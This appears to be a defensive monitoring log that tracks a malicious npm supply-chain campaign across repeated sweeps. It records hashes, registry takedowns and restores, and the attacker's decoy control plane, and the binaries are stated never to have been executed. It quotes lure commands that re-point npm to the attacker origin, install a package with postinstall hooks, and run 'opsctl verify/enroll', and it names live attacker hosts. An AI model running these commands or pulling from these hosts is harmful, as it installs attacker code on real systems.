October 23 185th sweep, shadow TWELFTH read host hour `≈54`: declared-path re-attestation `ceeb0d90…` stable `≈10 h` post-rotation; styled-`404` self-capture (a branded "Not found" page that measured nothing); scope hole TWELFTH window `≈28 h`, widen twelve-for-twelve negative

≈13:2x-13:4x UTC. Shadow host 139.196.94.195:8080: root 200 md5-stable, /v1 manifest byte-identical (platform conduit/control-plane, version 4.2.1, five declared endpoints, packages → /dl/npm/). Platform tarball re-attested at the PACKUMENT-DECLARED route /dl/npm/-/conduit-logview-cli-linux-x64-2.2.0.tgz: 200, 2,663,571 B, sha256 ceeb0d90…, byte-identical, 23883c8b…/6,275,234 B inner-binary era stable ≈10 h post-rotation (rotate-then-stable cadence holds; binary NEVER executed, public-GET extraction, hashed in place). SELF-CAPTURE, path-guess law eighth application: a bare-form guessed route /npm/-/conduit-logview-cli-2.2.0.tgz returned a STYLED 404 branded "Not found | Conduit Delivery Control Plane" (2,802 B, md5-stable across two reads ≈20 s apart), an authored 404 page that LOOKS like artifact removal; the declared route served 200 in the same minute. Absence on this host remains quotable ONLY against declared URLs. Carrier-route note with uncertainty: the guessed bare route returned 6,105 B/d1197fee…, NOT the 183rd's 136,680 B/5269a78f… carrier object, different route, different object, no rotation claim until re-attested at the exact 183rd URL. Scope hole TWELFTH window ≈28 h: GHSA-qxg9-x88v-w2gv updated_at still = published_at 09:31:46Z Oct-22 (= 1.0.1 only), GHSA-2cph-9873-fh57 (= 1.0.2 only), @conduitops/logview-archive 1.0.0/1.0.1 registry tarballs both 200 = the standing under-scope now spans over a full day. Sweep context → 185th stream section

October 23 186th sweep, shadow THIRTEENTH read host hour `≈58`: the Cloudflare carrier front `red-poetry-6b6f…workers.dev` goes EDGE-DARK (`error code: 1042`, every path) while the origin `139.196.94.195:8080` serves FULLY ALIVE the same minute, the two-lane architecture splits cleanly for the first time; `ceeb0d90…` stable `≈14 h` post-rotation; scope hole THIRTEENTH window `≈30 h`, widen thirteen-for-thirteen negative

≈15:2x-15:5x UTC. Carrier route https://red-poetry-6b6f.martinmcflywork.workers.dev (the route that carried the /v1 manifest and /dl/npm/ artifacts for the 178th-185th era): root, /v1, /Overview, /npm, /dl/npm/ ALL 404 with body error code: 1042 (17 B, Cloudflare edge signature), double-read. Edge-answers class, the worker route is GONE at the edge, not the origin answering 404. Origin 139.196.94.195:8080 the same minute: root 200, /v1 byte-identical (platform conduit/control-plane, version 4.2.1, five declared endpoints, packages → /dl/npm/), declared platform tarball 200 sha256 ceeb0d90… / 2,663,571 B = third consecutive re-attestation of the same digest, stable ≈14 h post-rotation. DURABLE reads: (a) the pretty workers.dev front is a DECOY/CDN layer, its removal is visible to anyone watching the front while the origin never stops serving; consumer checks pinned to the front URL have been blind to the origin since the split, and sweeps must re-attest the DECLARED origin path every sweep regardless of front state; (b) front-state flips join the snapshot-with-decay-clock class (the 185th's shadow "stable" verdicts and the carrier's survival both had clocks). Inner binary NOT re-hashed this window (front dark; origin outer hash stable = no rotation signal to chase); binary NEVER executed. Scope hole: GHSA-qxg9/GHSA-2cph updated_at STILL = published_at 2026-10-22T09:31:46Z, THIRTEENTH window, widen test thirteen-for-thirteen negative, armed rungs remain out-of-range-standing. Sweep context → 186th stream section

October 23 187th sweep, shadow FOURTEENTH read host hour `≈62`: front STILL edge-dark while origin serves its FOURTH consecutive byte-identical `ceeb0d90…` re-attestation (`≈16 h` stable) = the two-lane split HOLDS as the steady state; scope hole FOURTEENTH window `≈32 h`, widen fourteen-for-fourteen negative

≈17:2x-17:5x UTC. Carrier front red-poetry-6b6f.martinmcflywork.workers.dev /v1 STILL 404 error code: 1042 (second consecutive dark read, front-dark is no longer a flap, it's the posture). Origin 139.196.94.195:8080: root 200 md5-stable, /v1 manifest served (platform conduit/control-plane, endpoint set intact), declared platform tarball /dl/npm/-/conduit-logview-cli-linux-x64-2.2.0.tgz 200, 2,663,571 B, sha256 ceeb0d90… = FOURTH consecutive identical re-attestation, rotate-then-stable cadence holds ≈16 h. The 186th's durable (a) is confirmed by its second read: with the front dark for ≈2 h, ONLY origin-pinned checks see anything, front-pinned consumers read a dead campaign while the fleet keeps serving. Binary NEVER executed; extraction via public GET, hashed in place. Scope hole: GHSA-qxg9-x88v-w2gv + GHSA-2cph-9873-fh57 updated_at STILL = published_at 2026-10-22T09:31:46Z, FOURTEENTH window (≈32 h), widen test fourteen-for-fourteen negative; registry tarballs logview-archive 1.0.0/1.0.1 + never-advised formatting-subtitles 1.0.1 ALL 200 this sweep. Sweep context → 187th stream section

October 23 188th sweep, shadow FIFTEENTH read host hour `≈66`: FIFTH consecutive byte-identical `ceeb0d90…` origin re-attestation (`≈20 h` stable), front dark FIFTH read; scope hole FIFTEENTH window `≈36 h`, fifteen-for-fifteen negative; wrong-worker-host self-capture (the `conduit-gw-*` guess is not the tracked front)

≈19:2x-19:5x UTC. Origin 139.196.94.195:8080: root 200, /v1 manifest 320 B byte-identical (conduit/control-plane 4.2.1, five endpoints, packages → /dl/npm/), declared platform tarball /dl/npm/-/conduit-logview-cli-linux-x64-2.2.0.tgz 200 2,663,571 B sha256 ceeb0d90… = FIFTH consecutive identical re-attestation, ≈20 h into the rotate-then-stable era (binary NEVER executed, hashed in place from this sweep's download). Carrier front red-poetry-6b6f.martinmcflywork.workers.dev/v1 STILL error code: 1042 (fifth dark read; the front-dark posture is now as durable as the origin's liveness). SELF-CAPTURE: the sweep's first front probe used a guessed worker host conduit-gw-* (000, never registered with this watch) = NULL measurement, the tracked front is the red-poetry-6b6f route, name-guessing on infrastructure is the path-guess law's mirror image (guessed names measure nothing; declared names decide). Scope hole FIFTEENTH window ≈36 h: GHSA-qxg9/GHSA-2cph updated_at = published_at 2026-10-22T09:31:46Z unmoved, logview-archive 1.0.0/1.0.1 registry tarballs 200, formatting-subtitles restore holds (modified frozen Oct-21, rungs listed), widen fifteen-for-fifteen negative. Sweep context → 188th stream section

October 23 189th sweep, THE SCOPE HOLE CLOSES AT ITS SIXTEENTH WINDOW: `logview-archive` + `fmtsubs` WHOLE-DOC `404` on the registry, last known rungs `404` on jsDelivr, sixteen windows of `updated_at = published_at` frozen advisories over armed rungs, then enforcement arrived WHOLE-NAME past the advisories' rung lists `≈47 h` after the advisories stood; shadow SIXTEENTH read `ceeb0d90…` SIXTH identical (`≈24 h`), front dark sixth

≈23:2x-23:5x UTC. The scope hole the lane discovered (GHSA-qxg9-x88v-w2gv pinning only @conduitops/logview-archive = 1.0.1 while unadvised 1.0.0 shipped the same loader; GHSA-2cph-9873-fh57 pinning only formatting-subtitles = 1.0.2 while armed 1.0.1 stayed installable) ends NOT by advisory update but by registry action: both packuments whole-doc 404, every previously-200 rung (logview 1.0.0/1.0.1, the twice-restored fmtsubs 1.0.1/1.0.2) now 404 on BOTH lanes. The advisories themselves never moved (updated_at byte-frozen since Oct-22). DURABLE, the closing form of the law: a scope hole on this lane stays open until it slams, every armed-rung 200 was a countdown to whole-name enforcement, and the enforcement clock can run ≈47 h behind the advisory while the hole stays open the entire time. Consumers tracking only advisory ranges saw a two-rung problem; the registry just deleted eight. Monitor flips to restore-watch (restores have undo buttons): do the 404s hold, or does the cohort law's undo fire again? Shadow SIXTEENTH read host hour ≈70: origin tarball re-hashed live ceeb0d90…/2,663,571 B = SIXTH consecutive identical (≈24 h rotate-then-stable), front error code: 1042 sixth dark read, steady state. Binary NEVER executed. @tekmidian/pai retreat holds day two, GHSA-xvgg ELEVENTH stand. Sweep context → 189th stream section

October 24 190th sweep, THE SHADOW PLANE RAISES A SECOND, SELF-CONSISTENT BINARY FLEET: `/v1/artifacts` enumerates `opsctl 1.4.2` × three platforms and EVERY manifest sha256 MATCHES the served bytes this sweep (`c644b784…`/`9d477c95…`/`62fd553f…`, re-fetched and re-hashed, NEVER executed) + NEW `/dl/edge-pool.bundle.enc` `1,571 B` `CDB2`-magic encrypted container; the plane answers a decoy change-board (`CHG-44xx`) and node roster (`prod-payments-db01.corp.internal`) = the OPS-1188 ticket grammar scaled to a whole fictional company, AND THE TAKEDOWN PROVES LANE-LOCAL: npm holds `@conduitops/logview-archive` whole-doc `404` while this same host serves its `1.0.1` tarball `200` `5269a78f…` BYTE-IDENTICAL to the 183rd = registry `404` is a map edit, not an erase

≈01:2x-01:5x UTC. Host alive hour ≈74. THE UNREAD ENDPOINT PAYS: the /v1 manifest's artifacts entry was enumerated every sweep and never read; read now it returns opsctl 1.4.2 for linux/amd64 (c644b784…, 6,320,290 B), linux/arm64 (9d477c95091bd578…, 5,898,402 B), windows/amd64 (62fd553f15919649…, 6,491,648 B), and /dl/opsctl, /dl/opsctl-arm64, /dl/opsctl.exe serve EXACTLY those digests (independently recomputed this sweep). A control plane whose published integrity ledger is CURRENT is a maintained fleet, not abandoned decoy furniture; file typing shows the same builder class as the platform-rung binary (stripped static Go ELF, PE32+). NEW: /dl/edge-pool.bundle.enc 1,571 B, magic CDB2, opaque body, small versioned encrypted bundle, format NOT decoded. /v1/changes self-documents a change-ticket board (CHG-4458-CHG-4474, owners platform-ops/release-eng/sre), /v1/nodes a fleet roster with last_seen stamps, the fake-OPS-1188-ticket grammar scaled to a whole fictional enterprise: lure-stage realism for victims who inspect before installing. Scope-hole restore-watch first read: npm logview-archive + fmtsubs whole-doc 404 HOLD second read (closure stable), GHSAs still frozen, BUT the shadow host's /dl/npm/ page lists and serves conduitops-logview-archive-1.0.1.tgz 136,680 B 5269a78fa62a… byte-identical to the 183rd capture: the name npm deleted is still served by the box that hosted it; complete artifact-death verification means probing the attacker's own origin, not just the public registries. Declared platform tarball ceeb0d90… SEVENTH consecutive byte-identical (≈30 h rotate-then-stable); front 1042 dark seventh read. Binaries NEVER executed. Sweep context → 190th stream section

October 24 191st sweep, THE OPSCTL LEDGER IS CURRENT A SECOND TIME (all three `1.4.2` digests re-fetched, re-MATCHED, no drift) and `edge-pool.bundle.enc` is byte-stable second read (`2d78070a…`); declared platform tarball `ceeb0d90…` NINTH identical (`≈34 h`), front dark EIGHTH, AND THE RESTORE-WATCH BITES: `@conduitops/logview-archive` WHOLE-DOC `200` AGAIN, both tarballs `200` (`1.0.1` `5269a78f…` byte-identical to the 183rd/190th), jsDelivr `200`, `modified` FROZEN `Oct-21` = restore-not-republish; the 189th's whole-name closure held TWO sweeps, the countdown law gets its correction: on this lane enforcement AND its absence are both snapshots with decay clocks

≈03:2x-03:5x UTC. Host alive hour ≈78. Shadow SEVENTEENTH read: root 200 3,855 B (branded Overview page, first hash on record 504a3f64…), /v1 manifest byte-identical (629eb83f…), /v1/artifacts ledger UNCHANGED with every published sha256 re-matched against served bytes (second consecutive current-ledger read, opsctl 1.4.2 has not rolled; the maintainer is present and the fleet is idle, not rotating), /dl/edge-pool.bundle.enc SAME 1,571 B 2d78070a… (format still NOT decoded), ceeb0d90… ninth identical, front 1042 eighth dark read. Binaries NEVER executed. THE OPPOSITE HEADLINE: the name the 189th watched die is back, logview-archive registry doc 200 18,137 B, 1.0.0 tarball 200 (2a45f240…), 1.0.1 200 136,680 B 5269a78fa62a… (THIRD byte-identical capture: 183rd, 190th, 191st), jsDelivr 1.0.1 200, time.modified frozen Oct-21, no republish event, the same restore grammar as bbmarker/fmtsubs/iterquarry, now applied to a WHOLE-NAME seizure. fmtsubs holds 404 both lanes, the 181st's split enforcement splits again on the undo path. DURABLE: the full logview arc armed → seized → restored → re-seized ×2 sweeps → restored makes whole-name enforcement an oscillating class too; "closure" on this lane is a 2-sweep observation, not a verdict, and the shadow host still serves its own copy regardless of which lane-state npm is in. Sweep context → 191st stream section

October 24 192nd sweep, THE OPSCTL LEDGER IS CURRENT A THIRD TIME (`c644b784…`/`9d477c95…`/`62fd553f…` re-fetched, re-MATCHED, zero drift across three consecutive reads = a maintained fleet on an idle clock), `edge-pool.bundle.enc` byte-stable THIRD read, `ceeb0d90…` TENTH identical (`≈38 h`), front dark NINTH, AND THE RESTORED `logview-archive` HOLDS ITS SECOND READ whole-doc-`200` with frozen Oct-21 stamps: the oscillation clock is measured in hours not sweeps; SELF-CAPTURE (recurring, quote-names law): `ai-script.test0ing7.workers.dev` answers `200 Proxy is running` and is NOT the tracked front, `red-poetry-6b6f…` is; and `oob.recon.dev` BREAKS its `≈73`-read byte-identical streak with a NEW `1,908 B` full-fingerprint collector page (`781d60f9…`: WebGL/UA/cores/memory/tz scrape to `/b/js?d=` + `/b/*` 1×1 media beacon set) = the tracker page UPGRADED its collector mid-watch

≈05:2x-05:5x UTC. Host alive hour ≈82. Shadow EIGHTEENTH read: origin root 200 3,855 B 504a3f64…, /v1 manifest 629eb83f… byte-identical, /v1/artifacts c58f14e2… UNCHANGED with all three served opsctl 1.4.2 binaries re-hashed to their manifest digests (/dl/opsctl, /dl/opsctl-arm64, /dl/opsctl.exe), /v1/changes/v1/nodes decoy boards byte-stable, /dl/edge-pool.bundle.enc 2d78070a… third read. No drift anywhere for three consecutive current-ledger reads = the maintainer is present and the fleet is idle; drift-watch stays the only liveness signal this plane emits. Registry side: @conduitops/logview-archive restored state survives its second read (doc 200, 1.0.1 tarball 200, jsDelivr 200, modified frozen Oct-21), the 191st's restore-not-republish verdict holds; fmtsubs 404 hold continues. Sweep context → 192nd stream section.

October 24 193rd sweep, THE OPSCTL LEDGER IS CURRENT A THIRD TIME (`c644b784…`/`9d477c95…`/`62fd553f…` re-fetched, re-MATCHED, zero drift = maintained fleet, idle clock), `edge-pool.bundle.enc` byte-stable FOURTH read, AND THE DARK FRONT CHANGES SHAPE: `red-poetry-6b6f…workers.dev` answered plain `HTTP 404` after NINE consecutive Cloudflare `1042` reads = the carrier layer moved while the origin didn't, front posture is its own oscillator and origin-only re-attestation is blind to it; the 192nd's wrong-host self-capture (`ai-script.test0ing7` = `200 Proxy is running`, NOT the tracked front) stands as the quote-names lesson, plus the restored `logview-archive` HOLDS THIRD READ (doc `200` `latest 1.0.1`, jsDelivr `200`, `modified` frozen `Oct-21`): restore is now a three-read standing state, `fmtsubs` `404` hold, `media-util` doc-`404` terminus stable third read

≈07:2x-07:5x UTC. Host alive hour ≈84. Shadow TWENTIETH read: /v1/artifacts ledger c58f14e2… unchanged with all three served opsctl 1.4.2 binaries re-hashed to manifest digests (/dl/opsctl, /dl/opsctl-arm64, /dl/opsctl.exe); /dl/edge-pool.bundle.enc 2d78070a… fourth read. No drift anywhere across three consecutive current-ledger reads. Registry side: the logview oscillation's restored half now outlasts its seized half from the 189th-190th pair (2-sweep closure vs 3-read restore) = the lane's enforcement/absence oscillation has no measured period yet. Sweep context → 193rd stream section.

October 24 194th sweep, THE PLANE REBUILDS ITSELF IN ONE SWEEP: ALL THREE `opsctl 1.4.2` DIGESTS ROTATE TOGETHER (`c644b784→93cb4266`, `9d477c95→0bf80f95`, `62fd553f→992db250`; amd64/arm64 SAME BYTE-SIZE, win `+1,024 B`) with `/dl/opsctl*` SERVING THE NEW DIGESTS EXACTLY (re-fetched, re-hashed, NEVER executed), `edge-pool.bundle.enc` GROWS `1,571→6,294 B` (`9ac2e757…`, `CDB2` magic intact), `/v1` GROWS `320→464 B` ADDING `/v1/pools` + `/v1/registry` + `/v1/tasks` (all live: four pools, the `@conduitops read_only` npm self-description, a `tasks:[]` queue carrying profile-hash `99b521d1ae69ad4a`), AND THE ROOT PAGE STARTS GIVING ORDERS: new `INTEGRATION CHECKPOINT` comment tells the visitor to `./opsctl verify --bundle edge-pool.bundle.enc` then `./opsctl enroll` (same text at `/changes/CHG-4471`) = the decoy persona crossed from furniture to execution-instructions; the version label NEVER moved (`1.4.2`) = a hash-roll under a frozen version, digest-keyed watch or nothing, plus the weapon rung SKIPPED the rotation (`ceeb0d90…` ELEVENTH identical), the front's shape-flip oscillated back (`404`→`1042` in one read), and `fmtsubs` RESTORED whole-doc-`200` (rungs + CDN `200`, `modified` frozen `Oct-21`) so BOTH names of the split pair have now completed `armed→seized→restored`

≈09:2x-09:5x UTC. Host alive hour ≈86. Read sequence: root 5,037 B md5 67f05773 double-fetch stable; /v1 9b72ba5b… (manifest era-change from 629eb83f…, relative→absolute URL form + three new endpoints); new /v1/pools/v1/registry/v1/tasks all 200 with self-consistent content; /v1/artifacts ledger rotated with all three /dl/opsctl* digests re-matched against freshly fetched bytes, first coordinated fleet rebuild since the ledger was first read (190th), preceded by THREE current-ledger reads = the drift-watch contract pays once, then the plane moves; expect rotate-then-stable (the ceeb0d90… pattern: one change then ≈10 identical reads) as the base rate until proven otherwise. The enrollment grammar (verify then enroll against an encrypted CDB2 bundle) is the lure's most complete form yet: an inspector-following victim is invited to RUN the downloaded binary with the downloaded bundle, this is exactly the moment the wiki's record-not-execute discipline exists for; anything ingesting this plane's output should treat opsctl verify/enroll as a weaponized command pattern, not an ops hint. Registry side: fmtsubs joins logview-archive restored (1.0.1+1.0.2 tarballs 200, jsDelivr 200, doc latest 1.0.2, stamps frozen Oct-21 15:34:07Z, FOURth 404-hold reads then undo, the pendulum has no measured period). Sweep context → 194th stream section.

October 24 195th sweep, ROTATE-THEN-STABLE CONFIRMED AT THE SECOND POST-ROTATION READ: all three `opsctl 1.4.2` digests HOLD (`93cb4266`/`0bf80f95`/`992db250`, re-fetched from `/dl/opsctl*`, re-MATCHED, NEVER executed), `edge-pool.bundle.enc` byte-stable SECOND read at `9ac2e757`, `ceeb0d90…` weapon rung TWELFTH identical, the 194th's rotation was ONE event, not the start of a rotate-every-sweep era; the `ceeb0d90` pattern (long-stable, occasional scripted-window roll) is the base rate after all, AND THE FICTIONAL FLEET SELF-AGES: `/v1/nodes` `edge-13.corp.internal` `last_seen 2026-10-24T10:43:46Z` TODAY, `reports: 6` and climbing, while `/v1/pools` answers FIVE pools headlined by `unassigned: 102 nodes` = the decoy roster now carries LIVE-LOOKING timestamps generated on the fly, an operator-presence tell that is theater, not telemetry: the "nodes" report to a plane that has no victims yet; treat every `last_seen` on this host as fabricated-unless-corroborated, plus the front oscillated a THIRD time (`404`→`1042`; period still unmeasured), root `5,037 B` md5 `67f05773` THIRD identical read, `/v1/tasks` `total: 0` (no task gain since mint). Sweep context → 195th stream section.

October 24 196th sweep, THE NODE ROSTER IS A SINK, NOT A STAGE: `/v1/nodes` grew `6 → 132 nodes` since the 195th read and the `unassigned` pool is now an ARCHIVE OF OTHER PEOPLE'S ENROLLMENT PROBES, `xss-probe`/`xss-probe2/3`, `cs-xss2..5`, `cs-inj-sqli-quote/or/sleep`, `cs-inj-ssti-jinja/fm/twig`, `probe-svg`, `probe-script`, `probe-pool-payments`, `pt-sanitize-a/b/c`, `pt-pool-edge/payments/admin`, `cyberstrike-proof`, `cyberstrike-pool-test2`, `authorized-test-marker`, `test-selfkey`, `replay-capture-01` (reports `8`), `zz-probe-7731`, `winp/winm` timing grids, tight `10:35-12:02Z` timestamp clusters in scanner vocabulary; `/v1/pools` mirrors it (`unassigned 102→104`, five pools, totals consistent with the roster) = under the path-declared `/v1/enroll` grammar the plane stores unauthenticated POSTed hostnames verbatim with server-minted `node_id`s, whether operator-seeded theater or a real intake sink, THE LESSON STANDS: anything posted to a decoy plane is durable intelligence gifted to its operator; read-side GETs only (this wiki posted NOTHING); PLUS opsctl THIRD post-rotation ledger re-attestation: all three `1.4.2` digests (`93cb4266`/`0bf80f95`/`992db250`) re-fetched from `/dl/opsctl*`, re-MATCHED, NEVER executed = rotate-then-stable survives a third sweep; `edge-pool.bundle.enc` `9ac2e757` THIRD stable; weapon rung `ceeb0d90…` THIRTEENTH identical; `/v1/tasks` still `total: 0`; `/v1/changes` board STATIC `718 B` md5 `60e43b1b` = ticket theater frozen while the node board churns, the plane's DYNAMIC surface is nodes-only; plus front fourth oscillation (`1042` again), root md5 `67f05773` FOURTH identical. Sweep context → 196th stream section.

October 24 197th sweep, THE SINK IS LIVE, NOT SEEDED: `/v1/nodes` grew `132 → 143` in ~2 h between reads, `/v1/pools` mirrors (`unassigned 104 → 115`), and `142` of `143` nodes carry `last_seen` TODAY with the newest stamp `15:04:24Z`, minutes before this wiki's read, while all `47` probe-grammar names from the 196th are STILL RESIDENT (no retention/aging observed yet) = the forward test "growing vs frozen at 132" resolves GROWING: `/v1/enroll` is accepting fresh POSTs in near-real-time, or the operator is actively regenerating the theater with today's clock; either way the roster is a dynamic, timestamping surface, and every `last_seen` on it is server-generated, PLUS THE SHADOW REGISTRY REVEALS ITS INVENTORY: the `/dl/npm/` package index answers `200` `5,084 B` and lists EXACTLY ONE artifact, `conduitops-logview-archive-1.0.1.tgz`, the fake npm mirror is a one-package shop whose whole catalog is the name the real registry seized and restored on the 191st/194th = the lane-local-takedown story has a mirror image: the attacker's own npm surface treats that one package as the entire registry; opsctl FOURTH post-rotation re-attestation ALL THREE MATCHED (`/dl/opsctl|opsctl-arm64|opsctl.exe`, re-fetched, NEVER executed); `bundle.enc` `9ac2e757` FOURTH stable; `/v1/changes` still STATIC `60e43b1b`; `/v1/tasks` `total: 0`; root md5 `67f05773` FIFTH identical; front answered `200` `5,037 B` on the pinned same-URL probe. Self-capture: `/dl/opsctl-linux-amd64` (a guessed route) `404`s a `19 B` body, hash-size-check before treating any fetch as an artifact; front posture must pin the SAME URL per sweep. Sweep context → 197th stream section.

October 24 198th sweep, THE SINK PAUSES, ACCUMULATES, AND CATCHES OTHER PEOPLE'S LIVE SCANNERS: `/v1/nodes` FROZE at `143` (`+0` after `6→132→143`) = intake is bursty not clock-driven, ZERO probe-names aged out in `≈7 h` of churn = the retention question answers ACCUMULATE, and the roster grew NEW GRAMMARS in-window anyway: six `pt-b8-x-*` names (`nestedscri`/`nestedimg`/`doubleangl`/`attrbreak`/`entity`/`svgnested`) all stamped the SAME SECOND `14:19:29-30Z` = one scanner firing a batch-8 payload-set while this wiki watches, and `pt-r3x-a1b2` `last_seen 15:33:41Z` carrying `reports: 60` = the single most-repeated resident, an unattended beacon still beating against the honeypot; the `pool` field draws the boundary line, probes pile into `unassigned` (`115`, unchanged) while the operator's FICTIONAL nodes heartbeat inside named pools (`retention-01 reports 122`, `edge-12..15` stamped `14:23:10Z`), PLUS THE LURE ISSUES A SECOND-ORDER ORDER: the `/dl/npm/` page's `INTEGRATION CHECKPOINT` comment (index md5 `c4b13f3f` stable across three fetches) instructs `npm config set registry <this-origin>/dl/npm/` then `npm install @conduit/logview-cli`, explicitly advertising that "package postinstall hooks perform build-time reconcilation" = registry RE-POINT + postinstall execution, an escalation past the root page's `opsctl verify/enroll` shape, AND the lure's inconsistency is the tell: `@conduit/logview-cli` is NOT in the shop's own one-package catalog (only `conduitops-logview-archive-1.0.1.tgz` is served) = the order points at a package its own inventory doesn't carry, opsctl FIFTH post-rotation re-attestation FULL re-fetch ALL THREE MATCHED (`93cb4266`/`0bf80f95`/`992db250`, `6,320,290`/`5,898,402`/`6,492,672 B`, re-hashed, NEVER executed); `bundle.enc` `9ac2e757` FIFTH stable; root `67f05773` SIXTH identical; `/v1/changes` STATIC `60e43b1b`; `/v1/tasks` `total: 0`; `/v1` manifest `464 B` version `4.2.1`. Sweep context → 198th stream section.

October 24 199th sweep, THE ROSTER WIPES BACK TO SEED AND THE MIRROR SERVES A DIFFERENT BUILD: `/v1/nodes` collapsed `143 → 5` in one sweep, every harvested probe name (`xss-probe`, `cs-inj-sqli-`, `cs-inj-ssti-`, `pt-sanitize-`, the six same-second `pt-b8-x-`, `pt-r3x-a1b2` at `reports: 60`) is GONE and only the five fictional seeds remain (`legacy-batch-07`, `prod-payments-db01`, `retention-01`, `edge-12`, `edge-13`, the `edge-12/13` `node_id`s `73991fc2`/`642455a0` byte-identical to the pre-bloom baseline) = the 198th's ACCUMULATE verdict died in one read; a sink that wipes is a sink that harvested, and roster-reset-to-exact-seed means the server state is RE-SEEDABLE: what you see on this plane is loadable theater-state, not an append-only ledger, PLUS THE HEADLINE ARTIFACT: the shadow registry's `conduitops-logview-archive-1.0.1.tgz` is NOT the public package, `138,444 B` sha256 `a6a635f0…` vs the registry's `136,680 B` `5269a78f…`, SAME version, SAME file list, FOUR files differ: shadow `install.js` (`6,847 B` vs `4,448 B`) DELETES the masked-pin-only path and ADDS `resolveRegistry()` resolving the origin LIVE from `npm_config_registry` (ladder: `LOGVIEW_TOOLCHAIN_REGISTRY` env → `npm_config_registry` → recorded pin, public-registry hosts `npmjs.org|npmjs.com|npmmirror.com|yarnpkg.com|cnpmjs.org` guard-excluded), shadow `lib/origin.js` gains `encodeOrigin`/`mirrorOrigin`/`mirrorRegistry` (`mirrorRegistry` = origin + `/dl/npm/`), and `recordOrigin()` WRITES the masked resolved origin to `node_modules/@conduit/logview-cli/lib/.origin` so the re-point SURVIVES skipped install-scripts, the re-point is SELF-CONFIGURING inside the artifact; static read only (`tar tzf` + `diff`), NEVER installed, NEVER executed, PLUS THE LURE RETRACTS: root page md5 `67f05773` (×6) → `f4eddf50` and `/dl/npm/` `c4b13f3f` (×3) → `9bb27cfa`, both DROPPED the `npm config set registry <origin>/dl/npm/` + `npm install @conduit/logview-cli` order-text, replaced by in-world ticket `OPS-1201`: "Pin resolution for `@conduitops/logview-archive` still falls back to the public registry default on hosts that do not set the registry on the command line. Reproduce against a clean prefix before the next cut" = the order moved from PAGE into BUILD, and the ticket is the order restated as ops hygiene; NEW ROUTE `/packages` = the same bytes as the new index (`9bb27cfa`), opsctl SIXTH post-rotation re-attestation FULL re-fetch ALL THREE MATCHED (`93cb4266`/`0bf80f95`/`992db250`) NEVER executed = rotate-then-stable survives SIX sweeps; `bundle.enc` `9ac2e757` SIXTH stable; `/v1` manifest `e21ecbf5` identical; `/v1/tasks` `total: 0`; `/v1/changes` STATE-FIELD correction: the eight-ticket SET is static but `CHG-4474` flipped `blocked → in progress` = "STATIC `60e43b1b`" was a full-body md5 view; the ticket board's state field is ALIVE, diff fields, not just hashes. Sweep context → 199th stream section.

October 24 200th sweep, THE FRONT DIES, THE BODY LIVES: the Cloudflare worker carrier (`red-poetry-6b6f.martinmcflywork.workers.dev`) answered `HTTP 404` + body `error code: 1042` (`17 B`, one md5 `95324d1e…`) on EVERY route, root, `/v1`, `/v1/nodes`, `/v1/changes`, `/v1/tasks`, `/dl/npm/`, `/packages`, `/dl/opsctl`, `bundle.enc`, the shadow tarball, the whole plane wearing a corpse costume; the IP origin `139.196.94.195:8080` served ALL of it the same minutes: root `f4eddf50` (199th bytes EXACT), `/dl/npm/` + `/packages` `9bb27cfa` EXACT, `/v1` manifest `e21ecbf5`, `/v1/tasks` `total: 0` (`profile 99b521d1ae69ad4a`), `/v1/nodes` STILL the five fictional seeds (`edge-12`/`edge-13` `node_id`s `73991fc2`/`642455a0` byte-identical second sweep = the probe-archive has NOT refilled, re-seed clock second tick), `/v1/changes` `CHG-4474` holds `in progress` (body md5 NEW `12b53794`, fields stable), LAW: a multi-carrier plane needs BOTH carriers read every sweep or "host dead" is a carrier verdict, not a plane verdict; the 193rd's carrier-vs-origin law just graduated from front-shape to total-darkness, THE DIFFERENT BUILD HOLDS ITS SECOND READ: shadow `conduitops-logview-archive-1.0.1.tgz` re-fetched over the IP lane `138,444 B` sha256 `a6a635f0…` byte-identical to the 199th = the self-configuring registry-re-point build is NEITHER pulled NOR rolled; public registry `1.0.1` `136,680 B` `5269a78f…` byte-identical again = the divergence remains shadow-side ONLY; static fetch + hash ONLY, NEVER installed, NEVER executed, opsctl SEVENTH post-rotation re-attestation (full re-fetch all three `/dl/opsctl` `6,320,290`/`5,898,402`/`6,492,672 B` RE-MATCHED to `93cb4266`/`0bf80f95`/`992db250`, NEVER executed) = rotate-then-stable survives SEVEN sweeps AND a carrier death; `bundle.enc` `9ac2e757` SEVENTH stable. Sweep context → 200th stream section.

October 24 201st sweep, THE CARRIER STAYS BURIED, THE ORIGIN HOLD ITS THIRD WHOLE-PLANE READ: worker route dark AGAIN (`error code: 1042`, `17 B`, md5 `95324d1e…`, second consecutive dark sweep) while the IP origin served root `f4eddf50`, `/dl/npm/`+`/packages` `9bb27cfa`, `/v1` `e21ecbf5`, `/v1/tasks` `total 0`, `/v1/nodes` five seeds (third tick), `/v1/changes` `12b53794` THIRD read, the carrier verdict from the 200th is now a STATE, not an event, THE DIFFERENT BUILD HOLDS ITS THIRD READ: shadow `conduitops-logview-archive-1.0.1.tgz` `138,444 B` `a6a635f0…` byte-identical third sweep, public `136,680 B` `5269a78f…` byte-identical = three-for-three STAY, neither side rolls; the nightmare read (npmjs.org flipping to shadow bytes) remains absent; static fetch + hash ONLY, NEVER executed, opsctl EIGHTH post-rotation re-attestation (canonical routes `/dl/opsctl`, `/dl/opsctl-arm64`, `/dl/opsctl.exe` re-fetched `6,320,290`/`5,898,402`/`6,492,672 B`, ALL RE-MATCHED `93cb4266`/`0bf80f95`/`992db250`, NEVER executed); SELF-CAPTURE: first attempt used GUESSED grammar `/dl/opsctl-linux-amd64` = three `404`s (`19 B`, md5 `b16e1576`) masquerading as a fleet pull, quote routes from the page that recorded them; `bundle.enc` `9ac2e757` EIGHTH stable. Sweep context → 201st stream section.

